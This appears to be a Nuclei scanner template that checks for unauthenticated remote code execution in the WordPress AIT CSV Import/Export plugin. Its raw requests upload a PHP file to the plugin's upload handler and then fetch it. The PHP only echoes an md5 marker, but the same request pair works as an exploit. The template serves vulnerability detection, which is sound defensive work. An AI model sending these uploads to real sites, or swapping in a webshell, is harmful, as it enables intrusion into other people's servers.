id: ait-csv-import-export-rce

info:
  name: WordPress AIT CSV Import Export - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    The AIT CSV Import/Export plugin <= 3.0.3 allows unauthenticated remote attackers to upload and execute arbitrary PHP code. The upload-handler does not require authentication, nor validates the uploaded content.
  reference:
    - https://wpscan.com/vulnerability/10471
    - https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/wp_ait_csv_rce.rb
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 9.8
    cwe-id: CWE-434
  tags: wordpress,wp-plugin,rce,upload,unauth,ait-csv,wp

requests:
  - raw:
      - |
        POST /wp-content/plugins/ait-csv-import-export/admin/upload-handler.php HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: multipart/form-data; boundary=------------------------ab360007dbae2de8

        --------------------------ab360007dbae2de8
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
        Content-Type: application/octet-stream

        sep=;<?php echo md5('ait-csv-import-export-rce');?>

        --------------------------ab360007dbae2de8--

      - |
        GET /wp-content/uploads/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "fe394b60dc324c3bac3060d600ad4349"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/05/22